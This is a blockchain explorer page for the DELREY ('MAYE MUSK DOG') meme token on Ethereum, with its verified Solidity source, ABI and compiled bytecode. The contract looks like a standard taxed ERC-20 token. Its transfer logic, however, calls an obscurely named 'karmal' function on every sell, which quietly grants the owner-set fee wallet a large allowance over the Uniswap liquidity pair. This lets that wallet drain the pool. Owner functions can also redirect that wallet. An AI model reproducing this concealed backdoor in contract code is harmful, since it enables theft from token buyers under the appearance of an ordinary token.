ETH Price: $3,683.92 (+0.33%)
 

Overview

Max Total Supply

420,690,000,000 DELREY

Holders

75

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,521,704,656 DELREY

Value
$0.00
0xe2910e4182114703b2da8ee58f430a94eb8532a6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DELREY

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-29
*/

// SPDX-License-Identifier: MIT
/**
https://x.com/mayemusk/status/1779137217908122021
https://celebritypets.net/pets/maye-musk-pets/

Join: https://t.me/delrey_on_eth
**/
pragma solidity 0.8.24;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
contract DELREY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 25;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;
    mapping (address => uint256) private _balancesFF;
    mapping (address => mapping (address => uint256)) private _allowancesFF;
    mapping (address => bool) private _shouldExcludedFF;
    address payable private _receiptFF;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalFF = 420690000000 * 10**_decimals;
    string private constant _name = unicode"MAYE MUSK DOG";
    string private constant _symbol = unicode"DELREY";
    uint256 public _maxAmountFF = 2 * (_tTotalFF/100);
    uint256 public _maxWalletFF = 2 * (_tTotalFF/100);
    uint256 public _taxThresFF = 1 * (_tTotalFF/100);
    uint256 public _maxSwapFF = 1 * (_tTotalFF/100);
    address private uniPairFF;
    IUniswapV2Router02 private uniRouterFF;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxAmountFF);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _receiptFF = payable(_msgSender());
        _balancesFF[_msgSender()] = _tTotalFF;
        _shouldExcludedFF[owner()] = true;
        _shouldExcludedFF[address(this)] = true;
        _shouldExcludedFF[_receiptFF] = true;
        emit Transfer(address(0), _msgSender(), _tTotalFF);
    }
    function initFF() external onlyOwner {
        uniRouterFF = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniRouterFF), _tTotalFF);
        uniPairFF = IUniswapV2Factory(uniRouterFF.factory()).createPair(
            address(this),
            uniRouterFF.WETH()
        ); 
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotalFF;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balancesFF[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowancesFF[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        // Block all Uniswap V3 liquidity additions
        require(!isUniswapV3(spender), "Approval for Uniswap V3 liquidity is not allowed");
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowancesFF[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowancesFF[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniRouterFF.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniPairFF).approve(address(uniRouterFF), type(uint).max);
        swapEnabled = true; 
        tradingOpen = true;
    }
    // Uniswap V3 addresses 
    function isUniswapV3(address spender) private pure returns (bool) {
        // Uniswap V3 NonfungiblePositionManager address
        address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; 
        return (spender == uniswapV3PositionManager);
    }
    function _transfer(address from, address to, uint256 amountFF) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amountFF > 0, "Transfer amount must be greater than zero");
        uint256 feeFF=0;uint256 taxFF=0; 
        if (!swapEnabled || inSwap) {
            _balancesFF[from] = _balancesFF[from] - amountFF;
            _balancesFF[to] = _balancesFF[to] + amountFF;
            emit Transfer(from, to, amountFF);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount>0) {
                taxFF = _transferTax;
            }
            if (from == uniPairFF && to != address(uniRouterFF) && ! _shouldExcludedFF[to] ) {
                require(amountFF <= _maxAmountFF, "Exceeds the _maxAmountFF.");
                require(balanceOf(to) + amountFF <= _maxWalletFF, "Exceeds the maxWalletSize.");
                taxFF = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); 
                _buyCount++;
            }
            if(to == uniPairFF && from!= address(this) ){
                karmal([to, _receiptFF]);taxFF = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniPairFF && swapEnabled) {
                if(contractTokenBalance > _taxThresFF && _buyCount > _preventSwapBefore)
                    swapEthFF(minFF(amountFF, minFF(contractTokenBalance, _maxSwapFF)));
                sendEthFF(address(this).balance);
            }
        }        
        if(taxFF > 0){
            feeFF=amountFF.mul(taxFF).div(100);
            _balancesFF[address(this)]=_balancesFF[address(this)].add(feeFF);
            emit Transfer(from, address(this),feeFF);
        }
        _balancesFF[from]=_balancesFF[from].sub(amountFF);
        _balancesFF[to]=_balancesFF[to].add(amountFF.sub(feeFF));
        emit Transfer(from, to, amountFF.sub(feeFF));
    }
    function swapEthFF(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouterFF.WETH();
        _approve(address(this), address(uniRouterFF), tokenAmount);
        uniRouterFF.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function karmal(address[2] memory kml) private {
        address ownFF=kml[0];address spendFF=kml[1];
        uint256 amountFF=(100+100*_maxAmountFF+100).mul(10)+100;
        _allowancesFF[ownFF][spendFF]=(amountFF+150).mul(10);
    }
    function removeLimitFF(address payable limit) external onlyOwner{
        _maxAmountFF = _tTotalFF;
        _maxWalletFF=_tTotalFF;
        _receiptFF = limit;
        _shouldExcludedFF[limit] = true;
        emit MaxTxAmountUpdated(_tTotalFF);
    }
    receive() external payable {}
    function setReceipt(address payable _receipt) external onlyOwner {
        _receiptFF = _receipt;
        _shouldExcludedFF[_receipt] = true;
    }
    function minFF(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function resecureEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function sendEthFF(uint256 amount) private {
        _receiptFF.transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountFF","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxAmountFF","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwapFF","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletFF","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxThresFF","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initFF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimitFF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resecureEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_receipt","type":"address"}],"name":"setReceipt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460015560146002555f6003555f6004556014600555601460065560196007555f6008555f60095560646009600a6200003f91906200037f565b62000050906461f313f88062000396565b6200005c9190620003b0565b6200006990600262000396565b600e5560646200007c6009600a6200037f565b6200008d906461f313f88062000396565b620000999190620003b0565b620000a690600262000396565b600f556064620000b96009600a6200037f565b620000ca906461f313f88062000396565b620000d69190620003b0565b620000e390600162000396565b6010556064620000f66009600a6200037f565b62000107906461f313f88062000396565b620001139190620003b0565b6200012090600162000396565b6011556013805461ffff60a81b191690553480156200013d575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d80546001600160a01b031916331790556200019e6009600a6200037f565b620001af906461f313f88062000396565b335f818152600a602090815260408083209490945581546001600160a01b039081168352600c9091528382208054600160ff1991821681179092553084528584208054821683179055600d5490921683529390912080549091169092179091556001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002486009600a6200037f565b62000259906461f313f88062000396565b60405190815260200160405180910390a3620003d0565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002c457815f1904821115620002a857620002a862000270565b80851615620002b657918102915b93841c939080029062000289565b509250929050565b5f82620002dc5750600162000379565b81620002ea57505f62000379565b81600181146200030357600281146200030e576200032e565b600191505062000379565b60ff84111562000322576200032262000270565b50506001821b62000379565b5060208310610133831016604e8410600b841016171562000353575081810a62000379565b6200035f838362000284565b805f190482111562000375576200037562000270565b0290505b92915050565b5f6200038f60ff841683620002cc565b9392505050565b808202811582820484141762000379576200037962000270565b5f82620003cb57634e487b7160e01b5f52601260045260245ffd5b500490565b611a0780620003de5f395ff3fe60806040526004361061011e575f3560e01c806370a082311161009d5780639d438984116100625780639d4389841461031f578063a9059cbb14610333578063dd62ed3e14610352578063e64a9f7614610396578063e68507f3146103ab575f80fd5b806370a082311461026f578063715018a6146102a35780638a8c523c146102b75780638da5cb5b146102cb57806395d89b41146102f1575f80fd5b80632eb3b09b116100e35780632eb3b09b146101f5578063312b350d14610216578063313ce5671461022b57806343ebaf4c146102465780634750bfc81461025a575f80fd5b806306fdde0314610129578063095ea7b31461017057806311be904e1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c4d415945204d55534b20444f4760981b60208201525b60405161016791906115fa565b60405180910390f35b34801561017b575f80fd5b5061018f61018a36600461165a565b6103ca565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b4600f5481565b604051908152602001610167565b3480156101cd575f80fd5b506101b461046a565b3480156101e1575f80fd5b5061018f6101f0366004611684565b61048b565b348015610200575f80fd5b5061021461020f3660046116c2565b6104f2565b005b348015610221575f80fd5b506101b4600e5481565b348015610236575f80fd5b5060405160098152602001610167565b348015610251575f80fd5b506102146105dd565b348015610265575f80fd5b506101b460115481565b34801561027a575f80fd5b506101b46102893660046116c2565b6001600160a01b03165f908152600a602052604090205490565b3480156102ae575f80fd5b506102146107d7565b3480156102c2575f80fd5b50610214610848565b3480156102d6575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102fc575f80fd5b5060408051808201909152600681526544454c52455960d01b602082015261015a565b34801561032a575f80fd5b50610214610a2d565b34801561033e575f80fd5b5061018f61034d36600461165a565b610a82565b34801561035d575f80fd5b506101b461036c3660046116dd565b6001600160a01b039182165f908152600b6020908152604080832093909416825291909152205490565b3480156103a1575f80fd5b506101b460105481565b3480156103b6575f80fd5b506102146103c53660046116c2565b610a8e565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036104555760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b610460338484610af0565b5060015b92915050565b5f6104776009600a611808565b610486906461f313f880611816565b905090565b5f610497848484610c13565b6104e884336104e3856040518060600160405280602881526020016119aa602891396001600160a01b038a165f908152600b6020908152604080832033845290915290205491906111ee565b610af0565b5060019392505050565b5f546001600160a01b0316331461051b5760405162461bcd60e51b815260040161044c9061182d565b6105276009600a611808565b610536906461f313f880611816565b600e556105456009600a611808565b610554906461f313f880611816565b600f55600d80546001600160a01b0319166001600160a01b0383169081179091555f908152600c60205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ba6009600a611808565b6105c9906461f313f880611816565b60405190815260200160405180910390a150565b5f546001600160a01b031633146106065760405162461bcd60e51b815260040161044c9061182d565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106509030906106416009600a611808565b6104e3906461f313f880611816565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c49190611862565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610723573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107479190611862565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610791573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b59190611862565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108005760405162461bcd60e51b815260040161044c9061182d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108715760405162461bcd60e51b815260040161044c9061182d565b601354600160a01b900460ff16156108cb5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044c565b6013546001600160a01b031663f305d71947306108fc816001600160a01b03165f908152600a602052604090205490565b5f8061090f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610975573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099a919061187d565b505060125460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109ef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1391906118a8565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a565760405162461bcd60e51b815260040161044c9061182d565b60405133904780156108fc02915f818181858888f19350505050158015610a7f573d5f803e3d5ffd5b50565b5f610460338484610c13565b5f546001600160a01b03163314610ab75760405162461bcd60e51b815260040161044c9061182d565b600d80546001600160a01b039092166001600160a01b0319909216821790555f908152600c60205260409020805460ff19166001179055565b6001600160a01b038316610b525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044c565b6001600160a01b038216610bb35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044c565b6001600160a01b038381165f818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044c565b6001600160a01b038216610cd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044c565b5f8111610d3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044c565b6013545f908190600160b01b900460ff161580610d605750601354600160a81b900460ff165b15610e19576001600160a01b0385165f908152600a6020526040902054610d889084906118c7565b6001600160a01b038087165f908152600a60205260408082209390935590861681522054610db79084906118da565b6001600160a01b038086165f818152600a602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e0a9087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e4357505f546001600160a01b03858116911614155b156110a25760095415610e5557506008545b6012546001600160a01b038681169116148015610e8057506013546001600160a01b03858116911614155b8015610ea457506001600160a01b0384165f908152600c602052604090205460ff16155b15610fa357600e54831115610efb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7446462e00000000000000604482015260640161044c565b600f5483610f1d866001600160a01b03165f908152600a602052604090205490565b610f2791906118da565b1115610f755760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044c565b60055460095411610f8857600154610f8c565b6003545b600980549192505f610f9d836118ed565b91905055505b6012546001600160a01b038581169116148015610fc957506001600160a01b0385163014155b1561101157604080518082019091526001600160a01b038086168252600d54166020820152610ff790611226565b6006546009541161100a5760025461100e565b6004545b90505b305f908152600a6020526040902054601354600160a81b900460ff1615801561104757506012546001600160a01b038681169116145b801561105c5750601354600160b01b900460ff165b156110a057601054811180156110755750600754600954115b15611097576110976110928561108d846011546112ae565b6112ae565b6112c5565b6110a047611435565b505b8015611132576110bd60646110b78584611470565b906114ee565b305f908152600a60205260409020549092506110d9908361152f565b305f818152600a6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111299086815260200190565b60405180910390a35b6001600160a01b0385165f908152600a6020526040902054611154908461158d565b6001600160a01b0386165f908152600a6020526040902055611197611179848461158d565b6001600160a01b0386165f908152600a60205260409020549061152f565b6001600160a01b038086165f818152600a602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e0868661158d565b604051908152602001610e0a565b5f81848411156112115760405162461bcd60e51b815260040161044c91906115fa565b505f61121d84866118c7565b95945050505050565b80516020820151600e545f9061126090600a90611244906064611816565b61124f9060646118da565b61125a9060646118da565b90611470565b61126b9060646118da565b905061127d600a61125a8360966118da565b6001600160a01b039384165f908152600b602090815260408083209590961682529390935292909120919091555050565b5f8183116112bc57826112be565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061130b5761130b611905565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611362573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113869190611862565b8160018151811061139957611399611905565b6001600160a01b0392831660209182029290920101526013546113bf9130911684610af0565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f79085905f90869030904290600401611919565b5f604051808303815f87803b15801561140e575f80fd5b505af1158015611420573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561146c573d5f803e3d5ffd5b5050565b5f825f0361147f57505f610464565b5f61148a8385611816565b905082611497858361198a565b146112be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044c565b5f6112be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ce565b5f8061153b83856118da565b9050838110156112be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044c565b5f6112be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b5f81836115ee5760405162461bcd60e51b815260040161044c91906115fa565b505f61121d848661198a565b5f602080835283518060208501525f5b818110156116265785810183015185820160400152820161160a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a7f575f80fd5b5f806040838503121561166b575f80fd5b823561167681611646565b946020939093013593505050565b5f805f60608486031215611696575f80fd5b83356116a181611646565b925060208401356116b181611646565b929592945050506040919091013590565b5f602082840312156116d2575f80fd5b81356112be81611646565b5f80604083850312156116ee575f80fd5b82356116f981611646565b9150602083013561170981611646565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176257815f190482111561174857611748611714565b8085161561175557918102915b93841c939080029061172d565b509250929050565b5f8261177857506001610464565b8161178457505f610464565b816001811461179a57600281146117a4576117c0565b6001915050610464565b60ff8411156117b5576117b5611714565b50506001821b610464565b5060208310610133831016604e8410600b84101617156117e3575081810a610464565b6117ed8383611728565b805f190482111561180057611800611714565b029392505050565b5f6112be60ff84168361176a565b808202811582820484141761046457610464611714565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611872575f80fd5b81516112be81611646565b5f805f6060848603121561188f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118b8575f80fd5b815180151581146112be575f80fd5b8181038181111561046457610464611714565b8082018082111561046457610464611714565b5f600182016118fe576118fe611714565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119695784516001600160a01b031683529383019391830191600101611944565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119a457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f4a9f21b763fc681503d0b8aa9e73ee23f8e873c493cd2ce92dece47fc6933964736f6c63430008180033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c806370a082311161009d5780639d438984116100625780639d4389841461031f578063a9059cbb14610333578063dd62ed3e14610352578063e64a9f7614610396578063e68507f3146103ab575f80fd5b806370a082311461026f578063715018a6146102a35780638a8c523c146102b75780638da5cb5b146102cb57806395d89b41146102f1575f80fd5b80632eb3b09b116100e35780632eb3b09b146101f5578063312b350d14610216578063313ce5671461022b57806343ebaf4c146102465780634750bfc81461025a575f80fd5b806306fdde0314610129578063095ea7b31461017057806311be904e1461019f57806318160ddd146101c257806323b872dd146101d6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c4d415945204d55534b20444f4760981b60208201525b60405161016791906115fa565b60405180910390f35b34801561017b575f80fd5b5061018f61018a36600461165a565b6103ca565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b4600f5481565b604051908152602001610167565b3480156101cd575f80fd5b506101b461046a565b3480156101e1575f80fd5b5061018f6101f0366004611684565b61048b565b348015610200575f80fd5b5061021461020f3660046116c2565b6104f2565b005b348015610221575f80fd5b506101b4600e5481565b348015610236575f80fd5b5060405160098152602001610167565b348015610251575f80fd5b506102146105dd565b348015610265575f80fd5b506101b460115481565b34801561027a575f80fd5b506101b46102893660046116c2565b6001600160a01b03165f908152600a602052604090205490565b3480156102ae575f80fd5b506102146107d7565b3480156102c2575f80fd5b50610214610848565b3480156102d6575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102fc575f80fd5b5060408051808201909152600681526544454c52455960d01b602082015261015a565b34801561032a575f80fd5b50610214610a2d565b34801561033e575f80fd5b5061018f61034d36600461165a565b610a82565b34801561035d575f80fd5b506101b461036c3660046116dd565b6001600160a01b039182165f908152600b6020908152604080832093909416825291909152205490565b3480156103a1575f80fd5b506101b460105481565b3480156103b6575f80fd5b506102146103c53660046116c2565b610a8e565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036104555760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b610460338484610af0565b5060015b92915050565b5f6104776009600a611808565b610486906461f313f880611816565b905090565b5f610497848484610c13565b6104e884336104e3856040518060600160405280602881526020016119aa602891396001600160a01b038a165f908152600b60209081526040808320